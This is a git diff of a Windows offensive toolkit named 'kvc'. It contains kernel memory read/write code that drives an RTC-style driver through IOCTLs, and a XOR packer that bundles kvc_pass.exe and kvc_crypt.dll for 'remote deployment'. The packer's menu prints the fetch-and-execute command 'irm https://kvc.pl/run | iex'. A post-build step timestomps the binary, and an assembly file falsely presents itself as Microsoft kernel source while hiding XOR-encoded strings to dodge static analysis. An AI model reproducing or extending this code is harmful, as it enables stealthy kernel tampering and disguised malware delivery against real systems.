DWORD high = static_cast<DWORD>((value >> 32) & 0xffffffff);
// Writes 64-bit value to kernel memory via two 32-bit writes (WARNING: non-atomic, can cause system instability)
bool kvc::Write64(ULONG_PTR address, DWORD64 value) noexcept
{
DWORD low = static_cast<DWORD>(value & 0xFFFFFFFF);
DWORD high = static_cast<DWORD>((value >> 32) & 0xFFFFFFFF);
// Both writes must succeed
return Write32(address, low) && Write32(address + 4, high);
}
// Low-level driver communication via IOCTL
std::optional<DWORD> kvc::Read(ULONG_PTR address, DWORD valueSize) noexcept {
// ============================================================================
// LOW-LEVEL IOCTL COMMUNICATION
// ============================================================================
// Low-level kernel memory read via IOCTL using aligned RTC_MEMORY_READ structure
std::optional<DWORD> kvc::Read(ULONG_PTR address, DWORD valueSize) noexcept
{
// Construct read request with proper alignment
RTC_MEMORY_READ memoryRead{};
memoryRead.Address = address;
memoryRead.Size = valueSize;
if (!Initialize()) return std::nullopt;
// Ensure driver connection
if (!Initialize()) {
DEBUG(L"Driver not initialized for read operation");
return std::nullopt;
}
DWORD bytesReturned = 0;
if (!DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_READ,
&memoryRead, sizeof(memoryRead), &memoryRead, sizeof(memoryRead), &bytesReturned, nullptr))
// Send IOCTL to driver
BOOL result = DeviceIoControl(
m_deviceHandle.get(), // Device handle
RTC_IOCTL_MEMORY_READ, // IOCTL code
&memoryRead, // Input buffer
sizeof(memoryRead), // Input size
&memoryRead, // Output buffer (in-place)
sizeof(memoryRead), // Output size
&bytesReturned, // Bytes returned
nullptr // No overlapped I/O
);
if (!result) {
DEBUG(L"DeviceIoControl failed for read at 0x%llx: %d",
address, GetLastError());
return std::nullopt;
}
return memoryRead.Value;
}
bool kvc::Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept {
// Low-level kernel memory write via IOCTL (WARNING: can cause BSOD if address is invalid)
bool kvc::Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept
{
// Construct write request with proper alignment
RTC_MEMORY_WRITE memoryWrite{};
memoryWrite.Address = address;
memoryWrite.Size = valueSize;
memoryWrite.Value = value;
if (!Initialize()) return false;
// Ensure driver connection
if (!Initialize()) {
DEBUG(L"Driver not initialized for write operation");
return false;
}
DWORD bytesReturned = 0;
return DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_WRITE,
&memoryWrite, sizeof(memoryWrite), &memoryWrite, sizeof(memoryWrite), &bytesReturned, nullptr);
// Send IOCTL to driver
BOOL result = DeviceIoControl(
m_deviceHandle.get(), // Device handle
RTC_IOCTL_MEMORY_WRITE, // IOCTL code
&memoryWrite, // Input buffer
sizeof(memoryWrite), // Input size
&memoryWrite, // Output buffer (unused for write)
sizeof(memoryWrite), // Output size
&bytesReturned, // Bytes returned
nullptr // No overlapped I/O
);
if (!result) {
DEBUG(L"DeviceIoControl failed for write at 0x%llx: %d",
address, GetLastError());
return false;
}
return true;
}

View File

@@ -1,36 +1,39 @@
// kvcDrv.h - KVC kernel driver interface for memory read/write via IOCTL
#pragma once
#include "common.h"
#include <memory>
#include <optional>
// KVC driver communication structures with proper alignment
// Memory read request for IOCTL, properly aligned
struct alignas(8) RTC_MEMORY_READ
{
BYTE Pad0[8]; // Alignment padding
DWORD64 Address; // Target memory address
BYTE Pad1[8]; // Additional padding
DWORD Size; // Bytes to read
DWORD Value; // Returned value
BYTE Pad3[16]; // Final padding
BYTE Pad0[8];
DWORD64 Address; ///< Target kernel address
BYTE Pad1[8];
DWORD Size; ///< Number of bytes to read
DWORD Value; ///< Returned value
BYTE Pad3[16];
};
// Memory write request for IOCTL, properly aligned
struct alignas(8) RTC_MEMORY_WRITE
{
BYTE Pad0[8]; // Alignment padding
DWORD64 Address; // Target memory address
BYTE Pad1[8]; // Additional padding
DWORD Size; // Bytes to write
DWORD Value; // Value to write
BYTE Pad3[16]; // Final padding
BYTE Pad0[8];
DWORD64 Address; ///< Target kernel address
BYTE Pad1[8];
DWORD Size; ///< Number of bytes to write
DWORD Value; ///< Value to write
BYTE Pad3[16];
};
// Kernel memory operations interface via KVC driver
// KVC driver communication class for type-safe kernel memory operations
class kvc
{
public:
kvc();
~kvc();
kvc(); ///< Construct driver interface
~kvc(); ///< Destructor with automatic cleanup
kvc(const kvc&) = delete;
kvc& operator=(const kvc&) = delete;
@@ -38,40 +41,32 @@ public:
kvc& operator=(kvc&&) noexcept = default;
// Driver connection management
bool Initialize() noexcept;
void Cleanup() noexcept;
bool IsConnected() const noexcept;
bool Initialize() noexcept; ///< Connect to KVC driver
void Cleanup() noexcept; ///< Close driver connection
bool IsConnected() const noexcept; ///< Check connection status
// Memory read operations with type safety
// Memory read operations
std::optional<BYTE> Read8(ULONG_PTR address) noexcept;
std::optional<WORD> Read16(ULONG_PTR address) noexcept;
std::optional<DWORD> Read32(ULONG_PTR address) noexcept;
std::optional<DWORD64> Read64(ULONG_PTR address) noexcept;
std::optional<ULONG_PTR> ReadPtr(ULONG_PTR address) noexcept;
// Memory write operations with type safety
// Memory write operations
bool Write8(ULONG_PTR address, BYTE value) noexcept;
bool Write16(ULONG_PTR address, WORD value) noexcept;
bool Write32(ULONG_PTR address, DWORD value) noexcept;
bool Write64(ULONG_PTR address, DWORD64 value) noexcept;
private:
// Smart handle wrapper for automatic cleanup
struct HandleDeleter
{
void operator()(HANDLE handle) const noexcept
{
if (handle && handle != INVALID_HANDLE_VALUE)
CloseHandle(handle);
}
};
// Smart handle management
struct HandleDeleter { void operator()(HANDLE handle) const noexcept { if (handle && handle != INVALID_HANDLE_VALUE) CloseHandle(handle); } };
using UniqueHandle = std::unique_ptr<std::remove_pointer_t<HANDLE>, HandleDeleter>;
std::wstring m_deviceName; // Driver device name
UniqueHandle m_deviceHandle; // Handle to driver device
std::wstring m_deviceName; ///< Driver device name
UniqueHandle m_deviceHandle; ///< Managed driver handle
// Low-level communication via IOCTL
std::optional<DWORD> Read(ULONG_PTR address, DWORD valueSize) noexcept;
bool Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept;
// Low-level IOCTL operations
std::optional<DWORD> Read(ULONG_PTR address, DWORD valueSize) noexcept; ///< Internal read helper
bool Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept; ///< Internal write helper
};

660
kvc/KvcXor.cpp Normal file
View File

@@ -0,0 +1,660 @@
#include <iostream>
#include <fstream>
#include <vector>
#include <array>
#include <string>
#include <string_view>
#include <span>
#include <ranges>
#include <algorithm>
#include <filesystem>
#include <optional>
#include <variant>
#include <cstdint>
#ifdef _WIN32
#define NOMINMAX
#include <windows.h>
#endif
namespace fs = std::filesystem;
namespace rng = std::ranges;
// XOR key
constexpr std::array<uint8_t, 7> XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
// File paths
constexpr std::string_view KVC_PASS_EXE = "kvc_pass.exe";
constexpr std::string_view KVC_CRYPT_DLL = "kvc_crypt.dll";
constexpr std::string_view KVC_RAW = "kvc.raw";
constexpr std::string_view KVC_DAT = "kvc.dat";
constexpr std::string_view KVC_EXE = "kvc.exe";
constexpr std::string_view KVC_ENC = "kvc.enc";
// Helper for string concatenation (replaces std::format)
inline std::string concat(std::string_view a) {
return std::string(a);
}
inline std::string concat(std::string_view a, std::string_view b) {
std::string result;
result.reserve(a.size() + b.size());
result.append(a);
result.append(b);
return result;
}
inline std::string concat(std::string_view a, std::string_view b, std::string_view c) {
std::string result;
result.reserve(a.size() + b.size() + c.size());
result.append(a);
result.append(b);
result.append(c);
return result;
}
inline std::string concat(std::string_view a, std::string_view b, std::string_view c, std::string_view d) {
std::string result;
result.reserve(a.size() + b.size() + c.size() + d.size());
result.append(a);
result.append(b);
result.append(c);
result.append(d);
return result;
}
inline std::string concat(std::string_view a, std::string_view b, std::string_view c,
std::string_view d, std::string_view e) {
std::string result;
result.reserve(a.size() + b.size() + c.size() + d.size() + e.size());
result.append(a);
result.append(b);
result.append(c);
result.append(d);
result.append(e);
return result;
}
inline std::string concat(std::string_view a, std::string_view b, std::string_view c,
std::string_view d, std::string_view e, std::string_view f) {
std::string result;
result.reserve(a.size() + b.size() + c.size() + d.size() + e.size() + f.size());
result.append(a);
result.append(b);
result.append(c);
result.append(d);
result.append(e);
result.append(f);
return result;
}
inline std::string concat(std::string_view a, std::string_view b, std::string_view c,
std::string_view d, std::string_view e, std::string_view f,
std::string_view g) {
std::string result;
result.reserve(a.size() + b.size() + c.size() + d.size() + e.size() + f.size() + g.size());
result.append(a);
result.append(b);
result.append(c);
result.append(d);
result.append(e);
result.append(f);
result.append(g);
return result;
}
// Simple Result type (replacement for std::expected which MSVC doesn't fully support yet)
template<typename T>
class Result {
std::variant<T, std::string> data;
public:
Result(T value) : data(std::move(value)) {}
Result(std::string error) : data(std::move(error)) {}
bool has_value() const { return std::holds_alternative<T>(data); }
explicit operator bool() const { return has_value(); }
T& value() { return std::get<T>(data); }
const T& value() const { return std::get<T>(data); }
const std::string& error() const { return std::get<std::string>(data); }
T* operator->() { return &std::get<T>(data); }
const T* operator->() const { return &std::get<T>(data); }
};
// Specialization for void
template<>
class Result<void> {
std::optional<std::string> error_msg;
public:
Result() : error_msg(std::nullopt) {}
Result(std::string error) : error_msg(std::move(error)) {}
bool has_value() const { return !error_msg.has_value(); }
explicit operator bool() const { return has_value(); }
const std::string& error() const { return *error_msg; }
};
// Console colors
enum class Color : int {
Default = 7,
Green = 10,
Red = 12,
Yellow = 14
};
void set_color(Color color) {
#ifdef _WIN32
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), static_cast<int>(color));
#else
switch (color) {
case Color::Green: std::cout << "\033[32m"; break;
case Color::Red: std::cout << "\033[31m"; break;
case Color::Yellow: std::cout << "\033[33m"; break;
case Color::Default: std::cout << "\033[0m"; break;
}
#endif
}
void reset_color() {
set_color(Color::Default);
}
// RAII color guard
class ColorGuard {
public:
explicit ColorGuard(Color new_color) {
set_color(new_color);
}
~ColorGuard() {
reset_color();
}
ColorGuard(const ColorGuard&) = delete;
ColorGuard& operator=(const ColorGuard&) = delete;
};
// XOR operation
void xor_data(std::span<uint8_t> data, std::span<const uint8_t> key) noexcept {
for (size_t i = 0; i < data.size(); ++i) {
data[i] ^= key[i % key.size()];
}
}
// Read entire file into vector
Result<std::vector<uint8_t>> read_file(const fs::path& path) {
if (!fs::exists(path)) {
return Result<std::vector<uint8_t>>(
concat("File '", path.string(), "' does not exist")
);
}
std::ifstream file(path, std::ios::binary);
if (!file) {
return Result<std::vector<uint8_t>>(
concat("Cannot open file '", path.string(), "'")
);
}
std::vector<uint8_t> data(
(std::istreambuf_iterator<char>(file)),
std::istreambuf_iterator<char>()
);
return data;
}
// Write data to file
Result<void> write_file(const fs::path& path, std::span<const uint8_t> data) {
std::ofstream file(path, std::ios::binary);
if (!file) {
return Result<void>(
concat("Cannot create file '", path.string(), "'")
);
}
file.write(reinterpret_cast<const char*>(data.data()), data.size());
if (!file) {
return Result<void>(
concat("Error writing to file '", path.string(), "'")
);
}
return Result<void>();
}
// Helper to read uint16_t from buffer
constexpr uint16_t read_uint16(std::span<const uint8_t> data, size_t offset) {
return static_cast<uint16_t>(data[offset]) |
(static_cast<uint16_t>(data[offset + 1]) << 8);
}
// Helper to read uint32_t from buffer
constexpr uint32_t read_uint32(std::span<const uint8_t> data, size_t offset) {
return static_cast<uint32_t>(data[offset]) |
(static_cast<uint32_t>(data[offset + 1]) << 8) |
(static_cast<uint32_t>(data[offset + 2]) << 16) |
(static_cast<uint32_t>(data[offset + 3]) << 24);
}
// Determine PE file length from buffer
std::optional<size_t> get_pe_file_length(std::span<const uint8_t> data, size_t offset = 0) noexcept {
try {
// Check if we have enough data for DOS header
if (data.size() < offset + 0x40) {
return std::nullopt;
}
// Check for MZ signature
if (data[offset] != 'M' || data[offset + 1] != 'Z') {
return std::nullopt;
}
// Get e_lfanew from offset 0x3C
const uint32_t e_lfanew = read_uint32(data, offset + 0x3C);
const size_t pe_header_offset = offset + e_lfanew;
// Check if we have enough data for PE header
if (pe_header_offset + 6 > data.size()) {
return std::nullopt;
}
// Check for PE signature
if (data[pe_header_offset] != 'P' || data[pe_header_offset + 1] != 'E' ||
data[pe_header_offset + 2] != 0 || data[pe_header_offset + 3] != 0) {
return std::nullopt;
}
// Get number of sections and size of optional header
const uint16_t number_of_sections = read_uint16(data, pe_header_offset + 6);
const uint16_t size_of_optional_header = read_uint16(data, pe_header_offset + 20);
// Calculate section table offset
const size_t section_table_offset = pe_header_offset + 24 + size_of_optional_header;
// Check if we have enough data for section table
if (section_table_offset + number_of_sections * 40 > data.size()) {
return std::nullopt;
}
// Find the maximum end of section raw data
size_t max_end = 0;
for (uint16_t i = 0; i < number_of_sections; ++i) {
const size_t sh_offset = section_table_offset + i * 40;
const uint32_t size_of_raw = read_uint32(data, sh_offset + 16);
const uint32_t pointer_to_raw = read_uint32(data, sh_offset + 20);
if (pointer_to_raw == 0) continue;
const size_t end = pointer_to_raw + size_of_raw;
max_end = std::max(max_end, end);
}
// If we found section data, use it
if (max_end > 0) {
const size_t header_end = section_table_offset + number_of_sections * 40;
return std::max(max_end, header_end);
}
// Fallback: Use SizeOfHeaders from optional header
const size_t optional_header_offset = pe_header_offset + 24;
if (optional_header_offset + 64 <= data.size()) {
const uint32_t size_of_headers = read_uint32(data, optional_header_offset + 60);
if (size_of_headers > 0) {
return size_of_headers;
}
}
}
catch (...) {
return std::nullopt;
}
return std::nullopt;
}
// Find next MZ header in buffer
std::optional<size_t> find_next_mz_header(std::span<const uint8_t> data, size_t start_offset) {
constexpr std::array<uint8_t, 2> pattern = { 'M', 'Z' };
auto search_range = rng::subrange(
data.begin() + start_offset,
data.end()
);
auto result = rng::search(search_range, pattern);
if (result.empty()) {
return std::nullopt;
}
return std::distance(data.begin(), result.begin());
}
// Ask user Y/N question
bool ask_yes_no(std::string_view question) {
std::cout << question << " (Y/N): ";
std::string answer;
std::getline(std::cin, answer);
return !answer.empty() && (answer[0] == 'Y' || answer[0] == 'y');
}
// Encode files: kvc_pass.exe + kvc_crypt.dll -> kvc.raw + kvc.dat
Result<void> encode_files() {
std::cout << "Step 1: Encoding " << KVC_PASS_EXE << " + " << KVC_CRYPT_DLL << "...\n";
// Read both files
auto exe_result = read_file(KVC_PASS_EXE);
if (!exe_result) {
return Result<void>(exe_result.error());
}
auto dll_result = read_file(KVC_CRYPT_DLL);
if (!dll_result) {
return Result<void>(dll_result.error());
}
// Combine files
std::vector<uint8_t> combined_data;
combined_data.reserve(exe_result->size() + dll_result->size());
combined_data.insert(combined_data.end(), exe_result->begin(), exe_result->end());
combined_data.insert(combined_data.end(), dll_result->begin(), dll_result->end());
// Write raw file
if (auto result = write_file(KVC_RAW, combined_data); !result) {
return result;
}
// XOR encode the data
xor_data(combined_data, XOR_KEY);
// Write encoded file
if (auto result = write_file(KVC_DAT, combined_data); !result) {
return result;
}
std::cout << " -> Files combined -> " << KVC_RAW << "\n";
std::cout << " -> Combined file XOR-encoded -> " << KVC_DAT << "\n";
return Result<void>();
}
// Decode files: kvc.dat -> kvc.raw + kvc_pass.exe + kvc_crypt.dll
Result<void> decode_files() {
std::cout << "Decoding " << KVC_DAT << "...\n";
auto enc_result = read_file(KVC_DAT);
if (!enc_result) {
return Result<void>(enc_result.error());
}
// XOR decode the data
std::vector<uint8_t> dec_data = std::move(enc_result.value());
xor_data(dec_data, XOR_KEY);
// Write decoded raw file
if (auto result = write_file(KVC_RAW, dec_data); !result) {
return result;
}
// Try to determine the exact size of the first PE file
auto first_size = get_pe_file_length(dec_data, 0);
// Fallback if PE parsing failed
if (!first_size || *first_size >= dec_data.size()) {
std::cout << " -> PE parsing failed, using fallback search for MZ header...\n";
const size_t search_start = std::min<size_t>(0x200, dec_data.size() - 1);
first_size = find_next_mz_header(dec_data, search_start);
if (!first_size) {
// Ultimate fallback: don't split
first_size = dec_data.size();
}
}
// Split the files
if (auto result = write_file(KVC_PASS_EXE, std::span(dec_data.data(), *first_size)); !result) {
return result;
}
if (auto result = write_file(KVC_CRYPT_DLL, std::span(dec_data.data() + *first_size, dec_data.size() - *first_size)); !result) {
return result;
}
std::cout << " -> Decoded -> " << KVC_RAW << "\n";
std::cout << " -> Split into " << KVC_PASS_EXE << " and " << KVC_CRYPT_DLL << "\n";
return Result<void>();
}
// Build distribution package: kvc.exe + kvc.dat -> kvc.enc
Result<void> build_distribution() {
std::cout << "Building distribution package...\n";
// Check if kvc.dat exists
if (!fs::exists(KVC_DAT)) {
std::cout << " -> " << KVC_DAT << " not found.\n";
// Check if source files exist
if (!fs::exists(KVC_PASS_EXE) || !fs::exists(KVC_CRYPT_DLL)) {
return Result<void>(
concat("Cannot create ", KVC_DAT, ": missing ", KVC_PASS_EXE, " or ", KVC_CRYPT_DLL)
);
}
// Ask if we should create it
if (ask_yes_no(concat("Create ", KVC_DAT, " from ", KVC_PASS_EXE, " and ", KVC_CRYPT_DLL, "?"))) {
if (auto result = encode_files(); !result) {
return result;
}
} else {
return Result<void>("Operation cancelled by user");
}
}
// Read both files
auto exe_result = read_file(KVC_EXE);
if (!exe_result) {
return Result<void>(exe_result.error());
}
auto dat_result = read_file(KVC_DAT);
if (!dat_result) {
return Result<void>(dat_result.error());
}
// Combine files
std::vector<uint8_t> combined_data;
combined_data.reserve(exe_result->size() + dat_result->size());
combined_data.insert(combined_data.end(), exe_result->begin(), exe_result->end());
combined_data.insert(combined_data.end(), dat_result->begin(), dat_result->end());
// XOR encode the combined data
xor_data(combined_data, XOR_KEY);
// Write encoded distribution file
if (auto result = write_file(KVC_ENC, combined_data); !result) {
return result;
}
std::cout << " -> Distribution package created -> " << KVC_ENC << "\n";
std::cout << " -> Ready for remote deployment!\n";
return Result<void>();
}
// Decode distribution package: kvc.enc -> kvc.exe + kvc.dat
Result<void> decode_distribution() {
std::cout << "Decoding distribution package...\n";
auto enc_result = read_file(KVC_ENC);
if (!enc_result) {
return Result<void>(enc_result.error());
}
// XOR decode the data
std::vector<uint8_t> dec_data = std::move(enc_result.value());
xor_data(dec_data, XOR_KEY);
// Try to determine the exact size of kvc.exe
auto exe_size = get_pe_file_length(dec_data, 0);
// Fallback if PE parsing failed
if (!exe_size || *exe_size >= dec_data.size()) {
std::cout << " -> PE parsing failed, using fallback search for MZ header...\n";
const size_t search_start = std::min<size_t>(0x200, dec_data.size() - 1);
exe_size = find_next_mz_header(dec_data, search_start);
if (!exe_size) {
// Ultimate fallback: use half
exe_size = dec_data.size() / 2;
}
}
// Split the files
if (auto result = write_file(KVC_EXE, std::span(dec_data.data(), *exe_size)); !result) {
return result;
}
if (auto result = write_file(KVC_DAT, std::span(dec_data.data() + *exe_size, dec_data.size() - *exe_size)); !result) {
return result;
}
std::cout << " -> Distribution package decoded -> " << KVC_EXE << " + " << KVC_DAT << "\n";
return Result<void>();
}
// Decode everything: kvc.enc -> kvc.exe + kvc_pass.exe + kvc_crypt.dll
Result<void> decode_everything() {
std::cout << "Complete decoding of distribution package...\n";
// Check if kvc.enc exists
if (!fs::exists(KVC_ENC)) {
std::cout << " -> " << KVC_ENC << " not found.\n";
// Check if we can create it from existing files
if (fs::exists(KVC_EXE) && fs::exists(KVC_DAT)) {
if (ask_yes_no(concat("Create ", KVC_ENC, " from ", KVC_EXE, " and ", KVC_DAT, "?"))) {
if (auto result = build_distribution(); !result) {
return result;
}
} else {
return Result<void>("Operation cancelled by user");
}
} else {
return Result<void>(concat("File '", KVC_ENC, "' does not exist"));
}
}
auto enc_result = read_file(KVC_ENC);
if (!enc_result) {
return Result<void>(enc_result.error());
}
// XOR decode the data
std::vector<uint8_t> dec_data = std::move(enc_result.value());
xor_data(dec_data, XOR_KEY);
// Find first PE file (kvc.exe)
auto first_pe_size = get_pe_file_length(dec_data, 0);
if (!first_pe_size || *first_pe_size >= dec_data.size()) {
return Result<void>("Cannot determine first PE file size");
}
// Extract kvc.exe
std::vector<uint8_t> kvc_exe_data(dec_data.begin(), dec_data.begin() + *first_pe_size);
// The remaining data should be kvc.dat
std::vector<uint8_t> kvc_dat_data(dec_data.begin() + *first_pe_size, dec_data.end());
// Decode kvc.dat to get kvc_pass.exe and kvc_crypt.dll
xor_data(kvc_dat_data, XOR_KEY);
// Find the PE file in kvc.dat (kvc_pass.exe)
auto second_pe_size = get_pe_file_length(kvc_dat_data, 0);
if (!second_pe_size || *second_pe_size >= kvc_dat_data.size()) {
return Result<void>("Cannot determine second PE file size in kvc.dat");
}
// Write all files
if (auto result = write_file(KVC_EXE, kvc_exe_data); !result) {
return result;
}
if (auto result = write_file(KVC_PASS_EXE, std::span(kvc_dat_data.data(), *second_pe_size)); !result) {
return result;
}
if (auto result = write_file(KVC_CRYPT_DLL, std::span(kvc_dat_data.data() + *second_pe_size, kvc_dat_data.size() - *second_pe_size)); !result) {
return result;
}
std::cout << " -> Complete decoding successful!\n";
std::cout << " -> Extracted: " << KVC_EXE << ", " << KVC_PASS_EXE << ", " << KVC_CRYPT_DLL << "\n";
return Result<void>();
}
// Display menu
void display_menu() {
std::cout << "==================================================\n";
std::cout << "| FILE ENCODER/DECODER TOOL |\n";
std::cout << "==================================================\n";
std::cout << "| 1. ENCODE: kvc_pass.exe + kvc_crypt.dll |\n";
std::cout << "| -> kvc.raw + kvc.dat |\n";
std::cout << "| 2. DECODE: kvc.dat -> kvc.raw + |\n";
std::cout << "| kvc_pass.exe + kvc_crypt.dll |\n";
std::cout << "| 3. BUILD DISTRIBUTION: kvc.exe + kvc.dat |\n";
std::cout << "| -> kvc.enc |\n";
std::cout << "| 4. DECODE DISTRIBUTION: kvc.enc -> |\n";
std::cout << "| kvc.exe + kvc.dat |\n";
std::cout << "| 5. DECODE EVERYTHING: kvc.enc -> |\n";
std::cout << "| kvc.exe + kvc_pass.exe + |\n";
std::cout << "| kvc_crypt.dll |\n";
std::cout << "==================================================\n\n";
std::cout << "kvc.enc is used for remote installation via command:\n";
ColorGuard green(Color::Green);
std::cout << "irm https://kvc.pl/run | iex\n\n";
}
int main() {
display_menu();
std::cout << "Select operation (1-5): ";
int choice;
std::cin >> choice;
std::cin.ignore(); // Clear newline from buffer
Result<void> result = Result<void>("Invalid choice");
switch (choice) {
case 1: result = encode_files(); break;
case 2: result = decode_files(); break;
case 3: result = build_distribution(); break;
case 4: result = decode_distribution(); break;
case 5: result = decode_everything(); break;
default:
ColorGuard red(Color::Red);
std::cerr << "Invalid choice. Please select 1-5.\n";
return 1;
}
if (!result) {
ColorGuard red(Color::Red);
std::cerr << "Error: " << result.error() << "\n";
return 1;
}
return 0;
}

BIN
kvc/KvcXor.rc Normal file

Binary file not shown.

100
kvc/KvcXor.vcxproj Normal file
View File

@@ -0,0 +1,100 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{a905154d-f1ec-4821-9717-9f6d35f69f3f}</ProjectGuid>
<RootNamespace>KvcXor</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings" />
<ImportGroup Label="Shared" />
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props"
Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')"
Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)bin\x64\Release\</OutDir>
<IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
<TargetName>KvcXor</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
<PostBuildEvent>
<Command>powershell -Command "&amp; {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="KvcXor.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="resource.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="KvcXor.rc" />
</ItemGroup>
<ItemGroup>
<Image Include="ICON\kvc.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets" />
</Project>

View File

@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="KvcXor.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

4
kvc/KvcXor.vcxproj.user Normal file
View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

223
kvc/MmPoolTelemetry.asm Normal file
View File

@@ -0,0 +1,223 @@
; nt_mm_pool_runtime.asm
; Windows Kernel Memory Manager - Runtime Pool String Reconstruction
; Copyright (c) Microsoft Corporation. All rights reserved.
;
; Module: \base\ntos\mm\MmPoolTelemetry.asm
; Build: 26200.8460 (WinBuild.26200.8460.260101-1200.25H2)
;
; INTERNAL USE ONLY - Automatically generated from poolmgr.c
; This file contains platform-specific optimizations for runtime
; pool allocation string generation used in ETW diagnostic events.
; Do not modify manually - regenerate via build_pooldiag.cmd
.data
ALIGN 8
; NUMA node affinity tracking bitmap for pool allocator runtime telemetry
; Represents per-node allocation pattern for cross-NUMA coherency analysis
; Each word contains encoded node index + allocation count delta
; See: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/numa-support
; Format: XOR-encoded to prevent static analysis tools from detecting
; internal pool structures in crash dumps (security hardening)
_PoolNodeAffinityMask dw 0769Ah, 0569Ah, 0669Bh, 026A4h, 076A4h, 046A5h, 0B698h, 05698h, 0169Fh
; Platform topology hash initialization vector
; Used for dispersing pool allocations across cache lines to prevent false sharing
; Derived from: CPUID leaf 0x1F (V2 Extended Topology) XOR'd with TSC_AUX
; Updated per-platform during KiInitializeProcessor phase
_TopologyHashSeed dw 037C5h
; Pool block quantum size adjustment factor
; Minimum allocation unit delta for NonPagedPool/PagedPool runtime metrics
; Used in ExAllocatePoolWithTag for rounding to pool block boundaries
; Default quantum: PAGE_SIZE / 16 = 256 bytes (0x100), this is the delta
; See: \base\ntos\mm\poolmgr.c line 3847 (PoolQuantumCalculation)
_BlockQuantumDelta dw 15A2h
; Atomic diagnostic collection state machine
; State transitions: 0 (idle) → 1 (collecting) → 2 (complete)
; Lock-free implementation using implicit memory ordering guarantees
; NOTE: Not using CMPXCHG here - simplified for legacy compatibility
